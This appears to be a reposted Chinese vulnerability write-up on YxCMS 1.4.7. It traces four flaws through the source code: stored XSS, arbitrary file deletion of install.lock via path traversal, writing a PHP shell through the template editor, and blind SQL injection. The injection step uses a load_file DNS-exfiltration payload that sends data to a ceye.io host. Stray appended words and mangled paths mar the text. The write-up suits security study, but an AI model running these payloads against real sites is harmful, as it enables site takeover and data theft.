「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

這幾天有小夥伴留言給咱們,想看一些關於後臺的漏洞分析,今天i春秋選擇YxCMS 1.4.7版本,理論內容結合實際案例進行深度分析,幫助你們提高挖洞技能。php

注:篇幅較長,閱讀用時約7分鐘。html

「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

 

YXcms是基於PHP+MySql開發,採用CANPHP框架編寫的,是一款高效、靈活、實用、免費的企業建站系統,它的設計理念是用最少的代碼作更多的事情。python

安裝程序mysql

具體的安裝流程和使用說明能夠去官網查看:sql

https://www.kancloud.cn/yongheng/yxcmsshell

 

前臺XSS數據庫

一、漏洞復現數組

打開連接,輸入payload:app

<svg/onload=alert(1)>框架

 

「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

 

而後登錄後臺,查看審覈。

「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

 

點擊編輯

「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

 

 

二、漏洞分析

前臺的文件源碼:

protected/apps/default/controller/columnController.php

public function index()
{
$ename=in($_GET['col']);
if(empty($ename)) throw new Exception('欄目名不能爲空~', 404);
$sortinfo=model('sort')->find("ename='{$ename}'",'id,name,ename,path,url,type,deep,method,tplist,keywords,description,extendid');
$path=$sortinfo['path'].','.$sortinfo['id'];
$deep=$sortinfo['deep']+1;
$this->col=$ename;
switch ($sortinfo['type']) {
case 1://文章
$this->newslist($sortinfo,$path,$deep);
break;
case 2://圖集
$this->photolist($sortinfo,$path,$deep);
break;
case 3://單頁
$this->page($sortinfo,$path,$deep);
break;
case 4://應用
break;
case 5://自定義
break;
case 6://表單
$this->extend($sortinfo,$path,$deep);
break;
default:
throw new Exception('未知的欄目類型~', 404);
break;
}
}

後臺的文件源碼:

protected/apps/admin/controller/extendfieldController.php

public function mesedit()
{
$tableid=intval($_GET['tabid']);
if(!$this->checkConPower('extend',$tableid)) $this->error('您沒有權限管理此獨立表內容~');
$id=intval($_GET['id']);//信息id
if(empty($tableid) || empty($id) ) $this->error('參數錯誤~');
$tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC');
if(empty($tableinfo)) $this->error('自定義表不存在~');
if (!$this->isPost()) {
$info=model('extend')->Extfind($tableinfo[0]['tableinfo'],"id='{$id}'");
$this->info=$info;
$this->tableid=$tableid;
$this->id=$id;
$this->tableinfo=$tableinfo;
$this->display();
}else{
for($i=1;$i<count($tableinfo);$i++){
if(is_array($_POST[$tableinfo[$i]['tableinfo']]))
$data[$tableinfo[$i]['tableinfo']]=implode(',',$_POST[$tableinfo[$i]['tableinfo']]);
else
$data[$tableinfo[$i]['tableinfo']]=html_in($_POST[$tableinfo[$i]['tableinfo']]);
}
if(model('extend')->Extup($tableinfo[0]['tableinfo'],"id='{$id}'",$data)) $this->success('修改爲功~',url('extendfield/meslist',array('id'=>$tableid)));
else $this->error('信息修改失敗~');
}
}

中間沒什麼過濾,具體能夠看這篇文章:

https://www.hackersb.cn/hacker/85.html

 

任意文件刪除

一、漏洞復現

須要先登陸後臺,而後訪問以後會顯示縮略圖不存在:

Payload:

http://sb.com/index.php?r=admin/photo/delpic

POST:

picname=../../protected/apps/install/install.lock

 

「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

 

而後訪問網站首頁就會自動轉到安裝的頁面

「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

 

 

二、漏洞分析

漏洞文件:

protected/apps/admin/controller/photoController.php,在第355行的delpic( )函數,能夠看到$picname接收POST過來的值,而後$path等於文件開頭定義的靜態變量。

static protected $uploadpath='';//圖片上傳路徑

沒有對傳入的值進行任何的過濾,使用函數file_exists()判斷一下文件是否存在,unlink執行刪除操做。

public function delpic()
{
if(empty($_POST['picname'])) $this->error('參數錯誤~');
$picname=$_POST['picname'];
$path=$this->uploadpath;
if(file_exists($path.$picname))
@unlink($path.$picname);
else{echo '圖片不存在~';return;}
if(file_exists($path.'thumb_'.$picname))
@unlink($path.'thumb_'.$picname);
else {echo '縮略圖不存在~';return;}
echo '原圖以及縮略圖刪除成功~';
}

任意文件寫入

一、漏洞復現

打開頁面

「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

 

打開咱們的文件監控軟件

FolderChangesView

輸入咱們的程序路徑

D:phpStudyPHPTutorialWWWYXcms

「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

 

而後寫shell.php文件名,寫入咱們的代碼。

「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

 

而後會在

protectedappsdefault iewdefault下面生成咱們寫入的文件。

「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

 

二、漏洞分析

漏洞文件

protected/apps/admin/controller/setController.php的140行,$tpfile接收到GET傳過來的值,若是爲空的話就會報非法操做。傳過來的URL是admin/set/tpadd&Mname=default,因此$tpfile就是default。

再來下是檢測是否有POST的值,接受到POST過來的filename,用trim去掉兩邊的空格。接收到POST過來的code,用stripcslashes反轉義。

$filepath=$templepath.$filename.'.php'這一句是路徑和文件的拼接,而後下面檢測路徑是否存在。

最後沒有過濾任何的危險函數就傳給file_put_contents函數,寫入網站的目錄。

public function tpadd()
{
$tpfile=$_GET['Mname'];
if(empty($tpfile)) $this->error('非法操做~');
$templepath=BASE_PATH . $this->tpath.$tpfile.'/';
if($this->isPost()){
$filename=trim($_POST['filename']);
$code=stripcslashes($_POST['code']);
if(empty($filename)||empty($code)) $this->error('文件名和內容不能爲空');
$filepath=$templepath.$filename.'.php';
if($this->ifillegal($filepath)) {$this->error('非法的文件路徑~');exit;}
try{
file_put_contents($filepath, $code);
} catch(Exception $e) {
$this->error('模板文件建立失敗!');
}
$this->success('模板文件建立成功!',url('set/tplist',array('Mname'=>$tpfile)));
}else{
$this->tpfile=$tpfile;
$this->display();
}
}

 

SQL注入

一、漏洞復現

這個盲注能夠用ceye.io和python腳本跑。

payload:

1 and if((select load_file(concat('\\',(select database()),'.xxxx.ceye.io\abc'))),1,1))--

點擊刪除

 

「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

 

 

而後用Burp Suite截獲數據,修改內容加上咱們的payload,用原文的payload後面+會報錯。

 

「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

 

 

而後進入http://ceye.io/records/dns,查看咱們的數據。

 

「白帽挖洞技能」YxCMS 1.4.7 漏洞分析

 

 

二、漏洞分析

查看漏洞文件:

protected/apps/admin/controller/fragmentController.php的第63行

public function del()
{
if(!$this->isPost()){
$id=intval($_GET['id']);
if(empty($id)) $this->error('您沒有選擇~');
if(model('fragment')->delete("id='$id'"))
echo 1;
else echo '刪除失敗~';
}else{
if(empty($_POST['delid'])) $this->error('您沒有選擇~');
$delid=implode(',',$_POST['delid']);
if(model('fragment')->delete('id in ('.$delid.')'))
$this->success('刪除成功',url('fragment/index'));
}
}

咱們跟

if(model('fragment')->delete("id='$id'")),

它會先到protected/core.php文件裏面的model

function model($model){
static $objArray = array();
$className = $model . 'Model';
if( !is_object($objArray[$className]) ){
if( !class_exists($className) ) {
throw new Exception(config('_APP_NAME'). '/' . $className . '.php 模型類不存在');
}
$objArray[$className] = new $className();
}
return $objArray[$className];
}

而後到

protected/apps/admin/model/fragmentModel.php

<?php
class fragmentModel extends baseModel{
protected $table = 'fragment';
}

繼續

protected/base/model/baseModel.php

<?php
class baseModel extends model{
protected $prefix='';
public function __construct( $database= 'DB',$force = false ){
parent::__construct();
$this->prefix=config('DB_PREFIX');
}
}

再來到最底層的數據庫操做類protected/base/model/model.php的第45行

public function delete($condition){
return $this->model->table($this->table, $this->ignoreTablePrefix)->where($condition)->delete();
}

這個delete()是從哪裏來的,咱們來看第十三行的代碼,建立了一個對象cpModel

static public function connect($config, $force=false){
static $model = NULL;
if( $force==true || empty($model) ){
$model = new cpModel($config);
}
return $model;
}

漏洞文件在

protected/include/core/cpModel.class.php

public function delete() {
$table = $this->options['table']; //當前表
$where = $this->_parseCondition(); //條件
if ( empty($where) ) return false; //刪除條件爲空時,則返回false,避免數據不當心被所有刪除
$this->sql = "DELETE FROM $table $where";
$query = $this->db->execute($this->sql);
return $this->db->affectedRows();
}

這裏用到了一個方法_parseCondition()

private function _parseCondition() {
$condition = $this->db->parseCondition($this->options);
$this->options['where'] = '';
$this->options['group'] = '';
$this->options['having'] = '';
$this->options['order'] = '';
$this->options['limit'] = '';
$this->options['field'] = '*';
return $condition;
}
}

這個函數是在

protected/include/core/db/cpMysql.class.php的128行

public function parseCondition($options) {
$condition = "";
if(!empty($options['where'])) {
$condition = " WHERE ";
if(is_string($options['where'])) {
$condition .= $options['where'];
} else if(is_array($options['where'])) {
foreach($options['where'] as $key => $value) {
$condition .= " `$key` = " . $this->escape($value) . " AND ";
}
$condition = substr($condition, 0,-4);
} else {
$condition = "";
}
}
if( !empty($options['group']) && is_string($options['group']) ) {
$condition .= " GROUP BY " . $options['group'];
}
if( !empty($options['having']) && is_string($options['having']) ) {
$condition .= " HAVING " . $options['having'];
}
if( !empty($options['order']) && is_string($options['order']) ) {
$condition .= " ORDER BY " . $options['order'];
}
if( !empty($options['limit']) && (is_string($options['limit']) || is_numeric($options['limit'])) ) {
$condition .= " LIMIT " . $options['limit'];
}
if( empty($condition) ) return "";
return $condition;
}

裏面有一個行數來過濾escape,咱們找到74行的這個函數定義

public function escape($value) {
if( isset($this->_readLink) ) {
$link = $this->_readLink;
} elseif( isset($this->_writeLink) ) {
$link = $this->_writeLink;
} else {
$link = $this->_getReadLink();
}
if( is_array($value) ) {
return array_map(array($this, 'escape'), $value);
} else {
if( get_magic_quotes_gpc() ) {
$value = stripslashes($value);
}
return "'" . mysql_real_escape_string($value, $link) . "'";
}
}

不過這個函數有一句is_array若是是數組纔會執行下面的過濾,若是不是的話就正常執行下去,沒有任何sql的過濾就形成了注入漏洞。

以上是今天的內容,你們看懂了嗎?

相關文章
相關標籤/搜索